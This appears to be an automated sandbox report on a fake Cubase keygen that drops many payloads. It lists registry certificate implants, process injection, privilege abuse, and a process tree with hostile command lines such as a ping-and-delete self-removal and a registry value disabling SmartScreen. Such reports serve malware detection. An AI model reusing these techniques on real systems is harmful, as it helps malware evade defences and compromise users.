0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0400000001000000100000001bfe69d191b71933a372a80fe155e5b50f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e190000000100000010000000ea6089055218053dd01e37e1d806eedf2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd cscvauk5ykp.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC vpn.tmp Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\SystemCertificates\CA\Certificates\8D4C4A23BA9EE84EA7348FA98CC6E65FBB69DE7B cscvauk5ykp.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 tapinstall.exe -
Runs ping.exe 1 TTPs 5 IoCs
Processes:
PING.EXEPING.EXEPING.EXEPING.EXEPING.EXEpid process 2224 PING.EXE 5024 PING.EXE 5820 PING.EXE 5068 PING.EXE 4884 PING.EXE -
Script User-Agent 16 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 198 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 203 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 206 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 305 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 274 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 276 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 290 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 306 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 135 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 136 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 214 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 307 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 138 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 200 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 275 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 291 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
setups.tmprundll32.exesvchost.exemultitimer.exekey.exeIBInstaller_97039.tmpvpn.tmpWerFault.exeWerFault.exepid process 892 setups.tmp 892 setups.tmp 3912 rundll32.exe 3912 rundll32.exe 360 svchost.exe 360 svchost.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3416 multitimer.exe 3948 key.exe 3948 key.exe 5384 IBInstaller_97039.tmp 5384 IBInstaller_97039.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 2464 WerFault.exe 5364 WerFault.exe 5364 WerFault.exe 5364 WerFault.exe 5364 WerFault.exe 5364 WerFault.exe 5364 WerFault.exe 5364 WerFault.exe 5364 WerFault.exe 5364 WerFault.exe 5364 WerFault.exe -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
MicrosoftEdgeCP.exeMicrosoftEdgeCP.exepid process 3928 MicrosoftEdgeCP.exe 3928 MicrosoftEdgeCP.exe 2312 MicrosoftEdgeCP.exe 2312 MicrosoftEdgeCP.exe 2312 MicrosoftEdgeCP.exe 2312 MicrosoftEdgeCP.exe 2312 MicrosoftEdgeCP.exe 2312 MicrosoftEdgeCP.exe -
Suspicious behavior: SetClipboardViewer 2 IoCs
Processes:
7723411.exe984586.exepid process 800 7723411.exe 5392 984586.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Setup.exeaskinstall20.exerundll32.exemultitimer.exesvchost.exesvchost.exesvchost.exedescription pid process Token: SeDebugPrivilege 1076 Setup.exe Token: SeCreateTokenPrivilege 2228 askinstall20.exe Token: SeAssignPrimaryTokenPrivilege 2228 askinstall20.exe Token: SeLockMemoryPrivilege 2228 askinstall20.exe Token: SeIncreaseQuotaPrivilege 2228 askinstall20.exe Token: SeMachineAccountPrivilege 2228 askinstall20.exe Token: SeTcbPrivilege 2228 askinstall20.exe Token: SeSecurityPrivilege 2228 askinstall20.exe Token: SeTakeOwnershipPrivilege 2228 askinstall20.exe Token: SeLoadDriverPrivilege 2228 askinstall20.exe Token: SeSystemProfilePrivilege 2228 askinstall20.exe Token: SeSystemtimePrivilege 2228 askinstall20.exe Token: SeProfSingleProcessPrivilege 2228 askinstall20.exe Token: SeIncBasePriorityPrivilege 2228 askinstall20.exe Token: SeCreatePagefilePrivilege 2228 askinstall20.exe Token: SeCreatePermanentPrivilege 2228 askinstall20.exe Token: SeBackupPrivilege 2228 askinstall20.exe Token: SeRestorePrivilege 2228 askinstall20.exe Token: SeShutdownPrivilege 2228 askinstall20.exe Token: SeDebugPrivilege 2228 askinstall20.exe Token: SeAuditPrivilege 2228 askinstall20.exe Token: SeSystemEnvironmentPrivilege 2228 askinstall20.exe Token: SeChangeNotifyPrivilege 2228 askinstall20.exe Token: SeRemoteShutdownPrivilege 2228 askinstall20.exe Token: SeUndockPrivilege 2228 askinstall20.exe Token: SeSyncAgentPrivilege 2228 askinstall20.exe Token: SeEnableDelegationPrivilege 2228 askinstall20.exe Token: SeManageVolumePrivilege 2228 askinstall20.exe Token: SeImpersonatePrivilege 2228 askinstall20.exe Token: SeCreateGlobalPrivilege 2228 askinstall20.exe Token: 31 2228 askinstall20.exe Token: 32 2228 askinstall20.exe Token: 33 2228 askinstall20.exe Token: 34 2228 askinstall20.exe Token: 35 2228 askinstall20.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeDebugPrivilege 3416 multitimer.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeTcbPrivilege 360 svchost.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeAuditPrivilege 2392 svchost.exe Token: SeAuditPrivilege 2392 svchost.exe Token: SeDebugPrivilege 3912 rundll32.exe Token: SeAssignPrimaryTokenPrivilege 2700 svchost.exe Token: SeIncreaseQuotaPrivilege 2700 svchost.exe Token: SeSecurityPrivilege 2700 svchost.exe Token: SeTakeOwnershipPrivilege 2700 svchost.exe Token: SeLoadDriverPrivilege 2700 svchost.exe Token: SeSystemtimePrivilege 2700 svchost.exe Token: SeBackupPrivilege 2700 svchost.exe Token: SeRestorePrivilege 2700 svchost.exe Token: SeShutdownPrivilege 2700 svchost.exe Token: SeSystemEnvironmentPrivilege 2700 svchost.exe Token: SeUndockPrivilege 2700 svchost.exe Token: SeManageVolumePrivilege 2700 svchost.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
Setup3310.tmpcscvauk5ykp.exeIBInstaller_97039.tmpvpn.tmptimu5ok2mjx.tmpvict.tmppid process 5672 Setup3310.tmp 6044 cscvauk5ykp.exe 5384 IBInstaller_97039.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5460 timu5ok2mjx.tmp 5412 vict.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp -
Suspicious use of SetWindowsHookEx 62 IoCs
Processes:
setups.exesetups.tmpMicrosoftEdge.exeMicrosoftEdgeCP.execpyrix.exevict.exetimu5ok2mjx.exevict.tmptimu5ok2mjx.tmpSetup3310.exeSetup3310.tmp1sxp5422veg.exeapp.exeIBInstaller_97039.exeIBInstaller_97039.tmpvpn.exevpn.tmpchrome_proxy.exeapipostback.exeapipostback.exeSetup.exehjjgaa.exeRunWW.exejg7_7wjg.exeLabPicV3.exelylal220.exeguihuali-game.exelilalmixx.exelylal220.tmpLabPicV3.tmp22.exejfiag3g_gg.exejfiag3g_gg.exesetups.exesetups.tmpsetup_10.2_us3.exetapinstall.exeMicrosoftEdge.exevpn.execpyrix.exevcgcknhokim.exeSetup3310.exevict.exeapp.exetapinstall.exevpn.tmpSetup3310.tmpvict.tmpapipostback.exeSetup.exemask_svc.exemask_svc.exeRote.exe.comRote.exe.comMaskVPNUpdate.exesetup_10.2_us3.exeRegAsm.exelilal.exeMicrosoftEdge.exeMicrosoftEdgeCP.exepid process 3684 setups.exe 892 setups.tmp 4740 MicrosoftEdge.exe 3928 MicrosoftEdgeCP.exe 3928 MicrosoftEdgeCP.exe 5152 cpyrix.exe 5140 vict.exe 5244 timu5ok2mjx.exe 5412 vict.tmp 5460 timu5ok2mjx.tmp 5640 Setup3310.exe 5672 Setup3310.tmp 5712 1sxp5422veg.exe 5788 app.exe 5344 IBInstaller_97039.exe 5384 IBInstaller_97039.tmp 5476 vpn.exe 5516 vpn.tmp 5600 chrome_proxy.exe 5928 apipostback.exe 6124 apipostback.exe 5608 Setup.exe 5832 hjjgaa.exe 4728 RunWW.exe 5220 jg7_7wjg.exe 5212 LabPicV3.exe 3748 lylal220.exe 5292 guihuali-game.exe 5340 lilalmixx.exe 4420 lylal220.tmp 960 LabPicV3.tmp 6100 22.exe 4504 jfiag3g_gg.exe 6036 jfiag3g_gg.exe 5524 setups.exe 5196 setups.tmp 4500 setup_10.2_us3.exe 4592 tapinstall.exe 5452 MicrosoftEdge.exe 4688 vpn.exe 5204 cpyrix.exe 4068 vcgcknhokim.exe 3280 Setup3310.exe 1188 vict.exe 4188 app.exe 2024 tapinstall.exe 5088 vpn.tmp 6160 Setup3310.tmp 6176 vict.tmp 1540 apipostback.exe 7108 Setup.exe 6548 mask_svc.exe 3992 mask_svc.exe 6220 Rote.exe.com 5148 Rote.exe.com 6380 MaskVPNUpdate.exe 6328 setup_10.2_us3.exe 6484 RegAsm.exe 6652 lilal.exe 4124 MicrosoftEdge.exe 2312 MicrosoftEdgeCP.exe 2312 MicrosoftEdgeCP.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Steinberg.Cubase.Ai.5.5.1.2.serials.keygen.execmd.exekeygen-pr.exekeygen-step-4.exekey.exekeygen-step-3.execmd.exeSetup.exesetups.exeFull Version.exeWScript.exerundll32.exesvchost.exedescription pid process target process PID 732 wrote to memory of 3968 732 Steinberg.Cubase.Ai.5.5.1.2.serials.keygen.exe cmd.exe PID 732 wrote to memory of 3968 732 Steinberg.Cubase.Ai.5.5.1.2.serials.keygen.exe cmd.exe PID 732 wrote to memory of 3968 732 Steinberg.Cubase.Ai.5.5.1.2.serials.keygen.exe cmd.exe PID 3968 wrote to memory of 1196 3968 cmd.exe keygen-pr.exe PID 3968 wrote to memory of 1196 3968 cmd.exe keygen-pr.exe PID 3968 wrote to memory of 1196 3968 cmd.exe keygen-pr.exe PID 3968 wrote to memory of 2100 3968 cmd.exe keygen-step-1.exe PID 3968 wrote to memory of 2100 3968 cmd.exe keygen-step-1.exe PID 3968 wrote to memory of 2100 3968 cmd.exe keygen-step-1.exe PID 3968 wrote to memory of 3424 3968 cmd.exe keygen-step-3.exe PID 3968 wrote to memory of 3424 3968 cmd.exe keygen-step-3.exe PID 3968 wrote to memory of 3424 3968 cmd.exe keygen-step-3.exe PID 3968 wrote to memory of 2252 3968 cmd.exe keygen-step-4.exe PID 3968 wrote to memory of 2252 3968 cmd.exe keygen-step-4.exe PID 3968 wrote to memory of 2252 3968 cmd.exe keygen-step-4.exe PID 1196 wrote to memory of 3948 1196 keygen-pr.exe key.exe PID 1196 wrote to memory of 3948 1196 keygen-pr.exe key.exe PID 1196 wrote to memory of 3948 1196 keygen-pr.exe key.exe PID 2252 wrote to memory of 1076 2252 keygen-step-4.exe Setup.exe PID 2252 wrote to memory of 1076 2252 keygen-step-4.exe Setup.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3424 wrote to memory of 3984 3424 keygen-step-3.exe cmd.exe PID 3424 wrote to memory of 3984 3424 keygen-step-3.exe cmd.exe PID 3424 wrote to memory of 3984 3424 keygen-step-3.exe cmd.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3948 wrote to memory of 1004 3948 key.exe key.exe PID 3984 wrote to memory of 2224 3984 cmd.exe PING.EXE PID 3984 wrote to memory of 2224 3984 cmd.exe PING.EXE PID 3984 wrote to memory of 2224 3984 cmd.exe PING.EXE PID 1076 wrote to memory of 3416 1076 Setup.exe multitimer.exe PID 1076 wrote to memory of 3416 1076 Setup.exe multitimer.exe PID 1076 wrote to memory of 3684 1076 Setup.exe setups.exe PID 1076 wrote to memory of 3684 1076 Setup.exe setups.exe PID 1076 wrote to memory of 3684 1076 Setup.exe setups.exe PID 2252 wrote to memory of 1492 2252 keygen-step-4.exe Full Version.exe PID 2252 wrote to memory of 1492 2252 keygen-step-4.exe Full Version.exe PID 2252 wrote to memory of 1492 2252 keygen-step-4.exe Full Version.exe PID 3684 wrote to memory of 892 3684 setups.exe setups.tmp PID 3684 wrote to memory of 892 3684 setups.exe setups.tmp PID 3684 wrote to memory of 892 3684 setups.exe setups.tmp PID 1492 wrote to memory of 684 1492 Full Version.exe WScript.exe PID 1492 wrote to memory of 684 1492 Full Version.exe WScript.exe PID 1492 wrote to memory of 684 1492 Full Version.exe WScript.exe PID 2252 wrote to memory of 2228 2252 keygen-step-4.exe askinstall20.exe PID 2252 wrote to memory of 2228 2252 keygen-step-4.exe askinstall20.exe PID 2252 wrote to memory of 2228 2252 keygen-step-4.exe askinstall20.exe PID 684 wrote to memory of 3912 684 WScript.exe rundll32.exe PID 684 wrote to memory of 3912 684 WScript.exe rundll32.exe PID 684 wrote to memory of 3912 684 WScript.exe rundll32.exe PID 3912 wrote to memory of 360 3912 rundll32.exe svchost.exe PID 3912 wrote to memory of 2808 3912 rundll32.exe svchost.exe PID 360 wrote to memory of 636 360 svchost.exe svchost.exe -
System policy modification 1 TTPs 1 IoCs
Processes:
RegAsm.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSmartScreen = "0" RegAsm.exe -
Views/modifies file attributes 1 TTPs 4 IoCs
Processes:
attrib.exeattrib.exeattrib.exeattrib.exepid process 4376 attrib.exe 4604 attrib.exe 6688 attrib.exe 5164 attrib.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in Windows directory
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\Steinberg.Cubase.Ai.5.5.1.2.serials.keygen.exe"C:\Users\Admin\AppData\Local\Temp\Steinberg.Cubase.Ai.5.5.1.2.serials.keygen.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\TTXNCODET5\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TTXNCODET5\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\TTXNCODET5\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TTXNCODET5\multitimer.exe" 1 3.1617733035.606ca5ab3535b 1016⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\TTXNCODET5\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TTXNCODET5\multitimer.exe" 2 3.1617733035.606ca5ab3535b7⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
-
C:\Users\Admin\AppData\Local\Temp\pz4lon3lxis\KiffApp1.exe"C:\Users\Admin\AppData\Local\Temp\pz4lon3lxis\KiffApp1.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\hro1ff022k3\timu5ok2mjx.exe"C:\Users\Admin\AppData\Local\Temp\hro1ff022k3\timu5ok2mjx.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-4LCTK.tmp\timu5ok2mjx.tmp"C:\Users\Admin\AppData\Local\Temp\is-4LCTK.tmp\timu5ok2mjx.tmp" /SL5="$10300,140785,56832,C:\Users\Admin\AppData\Local\Temp\hro1ff022k3\timu5ok2mjx.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Loads dropped DLL
